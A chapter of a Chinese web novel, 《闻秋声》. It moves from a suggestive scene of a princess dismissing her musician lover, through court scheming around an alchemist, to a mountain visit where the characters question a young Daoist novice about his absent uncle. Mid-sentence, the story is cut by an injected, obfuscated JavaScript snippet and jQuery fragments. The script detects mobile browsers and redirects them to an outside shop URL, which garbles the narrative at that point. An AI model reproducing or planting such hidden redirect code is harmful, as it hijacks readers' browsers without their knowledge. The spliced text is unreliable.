68. 冕山-上
作品:《闻秋声》 三足狻猊鎏金熏炉上香气袅袅升腾,内室床榻上红浪旖旎,光影交错,间或有低沉蛊惑的男声传出,听得人耳红心热,心潮汹涌,春色可比园中花团锦簇。
守在室外隔间的女官眼看着屋外日头已过去近半个时辰,想起府上医官的医嘱,硬着头皮站在内室门口,努力忽略内室的狂言浪语,低沉开口:“殿下,属下有要事禀告。”
唐敏听到女官的提醒,顿了下,一阵空虚涌起,直达心底,四肢疲累,整个人仿佛被掏空,随即向后瘫倒在塌上。
榻上青年见状,雄壮有力的臂膀揽过唐敏的身子,拂去她覆面的发丝,嘴巴凑近她耳边,吹了一口凉风,柔声呼唤:“殿下……”,不住耳鬓厮磨。
唐敏没了兴致,心下一片冰凉,伸手一把推开青年的面庞,见那青年还欲凑上前,嘴巴微张,冷冷吐出一句:“梅郎,今日到此为止。”
被唤做梅郎的青年认清形势,轻轻将唐敏放回软榻,扯过缎被遮在唐敏身子上,起身认命地穿上衣衫,口中还不忘自荐枕席,“公主殿下姿容更胜从前,奴魂牵梦萦、日夜不忘,若是下回还想听琵琶,莫要忘记梅郎的一片冰心。”
系好衣带,见榻上的公主毫无反应,只得强撑着笑意,抱起入口处的琵琶向外走去,还不忘朝候在一侧的女官飞去媚眼招惹。
厅堂外有三五伶人见那梅郎出来,默契地排成一列,各自抱着怀中的笙瑟琵琶在婢子指引下自侧门出府。
唐敏瘫了许久,听着内室没了动静,才出声唤那女官,“扶我沐浴。”
水汽氤氲的浴室里,唐敏坐在池边,倚靠着白玉靠臂,听着耳边活水簌簌声,闭目休息,总觉得少了些什么。
“不是说有要事禀告?”出声询问一侧女官。
“回禀殿下,丹阳子真人已在昨日吉时开炉,您的养颜丹炼制得很是成功,成丹约有十四五颗。另外,城郊庄上那女子已成功受孕,大夫称脉象滑利如珠,往来流利,喜脉无疑,已有月余。”
一切都进行得很顺利,唐敏唇角止不住地扬起,轻笑出声:“那可真是太好了。通知丹阳子收拾收拾,明日朔望朝会后,本宫会进宫面圣,大好前途就在眼前,可不要辜负了本宫对他的期望。”
“遵命。”
唐敏思索了半晌,才想明白少了什么,出声不悦道:“陈萱那婢子在做什么?本宫不让她近前侍奉,真当起府内小姐了?”
女官受过陈萱的小恩小惠,自然会为她美言几句,“听闻是养伤养了几天,还去外头的神医处取了药。这几日在侍奉后花园的花草,毕竟懂些药理,侍奉花草想来也有经验。”
女官私心是想着陈萱能再回长公主身边侍奉,她性情和手艺颇得公主青睐,模样长得也算不错,多个人侍奉公主,也能为她分担一些辛劳。
“她倒是金贵,还自府外神医处取药,府内的医官治不好她?”唐敏讥诮道。
女官哪里敢接话。
“明日就让她回来侍奉吧,本宫怜惜人才,赵御医一手好推拿技艺,让她学了去,别辜负了赵御医的一片医者仁心。”唐敏难得主动开口给自己一个台阶下。
“是,殿下惜才,陈萱定然感恩戴德。”
三月十五日,朔望朝会后,信阳长公主唐敏向当今圣上举荐了葛仙翁传人、如今罗浮山黄龙观观主丹阳子真人,称其神乎其技,外丹圣手,开炉时常有异象相伴,实乃天道之人。
陛下龙颜甚悦,不日就赐丹阳子真人为“圣元真君”,专司宫内丹药炼制、龙体康健之职,准允常伴圣驾左右。
“没想到入了四月,京中各处忙车为国色天香的牡丹大赏做准备,这山上的桃花才堪堪盛开,确实别有一番景致。”周择一马当前,爬至山腰处,绕过一处斧凿般的大石,只见满目桃花,落英缤纷,驻足惊叹。
随后的唐观复见脚下沟壑不平,时不时伸手牵引身后的叶秋声,叶秋声今日出城爬山专门换了一身粉白相间的圆袍,脚踩皮靴,很是稳当,谢绝了唐观复的好意。
周择不动声色旁观两人的动作,长叹一口气:“可惜了这好光景,大哥那几位同袍这几日先后奔赴西域驻边,他相送友人,不然,此行会更热闹。”
见唐观复点头赞同,周择面上忍不住,险些笑出声。
“大哥之前来这里取景作画,说半山腰往上,有个道观,观里也仅有四五道士,很是清贫。”叶秋声两鬓薄汗,停下后弯腰直喘气。
“那就一鼓作气爬到道观,再稍作歇息,如何?”周择提议。
唐观复见叶秋声说不出话,只点头算作同意,也笑着点头。
一行四人又一路向上,约一刻钟后,唐观复拉着叶秋声爬上最后一阶石梯,在一大块平整的山头处,看到了一处破败的道观。
说是道观,其实就是三五间可遮风避雨的屋舍凑在一块,透过低矮破败的木门就能看到当中是三清殿,殿前是半人高的香炉,左右各两间屋舍,一眼就能扫尽全貌。
周择站在木门外,大声朝内问道:“有道长在吗?”
连唤了三五声,也无人应答,三人虽遗憾无处歇息,也在意外之内,残破不整的道观看着确实不像有人久居。
就在三人欲转身离去时,一道颤巍巍的声音响起,听着似乎年纪不大,颤音不止,但还是鼓着胆子问道:“无量天尊,你们是何人?来此处作甚?”
周择与唐观复不约而同地看向叶秋声,叶秋声只得上前几步,柔声开口:“小道童莫怕,我们是城中人士,出城来山上游玩的。有朋友来过此处取景,说山腰处有座道观,我们一路爬山,想在此歇歇脚。”
半晌后,才有一个刷着双髻的小道童自左侧探出头来,约十来岁的年纪,见几人确实不像穷凶极恶之徒,又未曾私自闯入观内,扭捏着自内里打开木门,施了一礼,磕磕绊绊道:“失礼了,请进。”
四人纷纷向道童回礼,才进去观内,进了观内才发现,左右屋舍上的瓦片也碎了不少,若是下雨天,屋内怕是也要雨水如注。
反倒是中间三清殿上的瓦片完好的居多,三人在三清殿前拜过后,绕至殿后,叶秋声才明白为什么大哥会推荐这个时节来此处。
殿后是一大片桃林,约摸有百株桃树,树龄看着也有十来年了,入眼是大片大片的粉白粉红,长在崎岖蜿蜒的山上,像是自山石中迸发而生出的花,热烈又烂漫,山风拂过,摇曳生姿,欢快无比。
远处是一览无余的天际,近处仅有三五陋室,山中空寂无人,但殿后的桃花开得不管不顾,纷纷扬扬。
小道童搬出五张竹制交杌,腼腆道,“请你们坐。”说完又跑回观内。
唐观复、叶秋声及周择三人坐下,无人开口,静赏美景。
听着身后似有脚步声,回头才看到小道童扶着一须发皆白的老道长往殿后来,三人起身行礼致意,那老道长却并未回应。
小道童将老者扶着坐在有靠背的交杌上,才挠头不好意思道:“这是我师祖,他老人家年事已高,双耳听不见了,眼神也不太好,不是故意不理你们。”
“你们快坐,快坐。”又招呼着四人坐下,见秦奋仍站在唐观复身后,不明所以。
一直无甚存在感的秦奋开口道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296057|197380||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“我不累,小道士你坐。”
那道童才心满意足坐下。
周择偏头看向道童,轻声问:“这观里就你跟你师祖两人吗?小道长怎么称呼你呀?”
道童见周择称呼他为小道长,眉开眼笑,“你称我忘心就好。观里还有师父师叔他们,前段日子下雨,我们住的房子一直漏水,师父他们下山买瓦片去了,要修好房子呢,这样以后下雨就不会漏水了。”
“好的,忘心道长。你师父他们就放心你一个人在山上啊?万一有恶人来呢?”周择倒是很关心这个小孩子。
“我没有一个人啊,还有师祖。他们下山前卜过卦象,今日是小吉,应该不会出问题吧。”忘心道长挠了挠头,很是相信自家师父的卦象。
周择面对着这么相信自家师父卦象的忘心,也不知说什么了。
叶秋声柔声开口:“你们观里平时来上香祈福的人多吗?”
忘心似乎很是不好意思,“很少。”又很快补上,“不过我师父师叔他们卜卦很灵验的,师祖最灵验,但他现在卜不了了。”
三人看向一侧的老道长,神色俱是不太相信。
见三人神色皆似是不相信,忘心急忙道:“真的,我们观里曾经有个师伯,很厉害的!可以观天象后洞察世事,可惜他后来下山去做国师了,师父他们也不准再提起师伯。”
叶秋声一惊,偏头看向唐观复,唐观复试探着开口问道:“神枢真人?”
周择闻言看着二人像在看怪物。
忘心道长一脸无辜,摇摇头,表示没听过。
叶秋声声音愈发轻柔,似是怕惊醒忘心道长一侧的老者,“神枢真人是他的封号,他原名叫陈枣。”
“不是他,不是他,师父说那个枣是个骗子,骗得师伯下了山。”忘心道长很是气愤,怒斥陈枣是个骗子。
唐观复笑着安抚忘心,“是的,陈枣是个骗子。那你师伯叫什么?若是我们有缘碰到你师伯,就劝他回山上来,想必你师祖也很想念他。”
“当真?”忘心的眼睛登时就亮了,“师父说过师伯叫王截元,自比南山君,所以自称东篱隐士。不过师伯住在南山的话,离我们这个冕山远吗?”
“很远,不过我们若是遇到,会劝他回冕山的。”唐观复点头应下。
周择见叶秋声与唐观复皆不开口,又笑着同忘心谈论道:“你们师门在山上作何生计呢?修行之人也要吃饭穿衣的嘛,你师父他们买瓦片也需要银钱对吧。”
“就,师父师叔会自己耕作一些,还有后山这片桃林,结了果子也有收成,最后实在没办法了,就下山做做法事。”忘心越说声音越低。
周择勾唇一笑,“呐,忘心道长,你师父师叔若是回来,你不要把今日我们答应你找师伯的事说出去好不好?你想啊,你若是说给你师父师叔听了,结果我们没有找到你师伯,是不是会害他们失望?”
忘心觉得周择说得有理,迟疑着点点头。
“你若是不告诉你师父,作为你热情招待我们的回报,我们会留给观里一些报酬,这样你师父师叔可以买更多的瓦片,观里的屋舍就都不漏雨了,好不好?”周择又循循善诱。
“可我没有招待你们呀。”忘心不好意思道。
“你请我们进入观内,看到了这么好的美景,还搬了交杌给我们,又陪我们说话,当然算热情招待了。”周择热情洋溢地拍着忘心的马屁。
忘心挠挠头,点头道,“那我答应你不会告诉师父他们,但你们记得帮我找师伯。”
“放心,君子一诺。”周择自然应承下来。

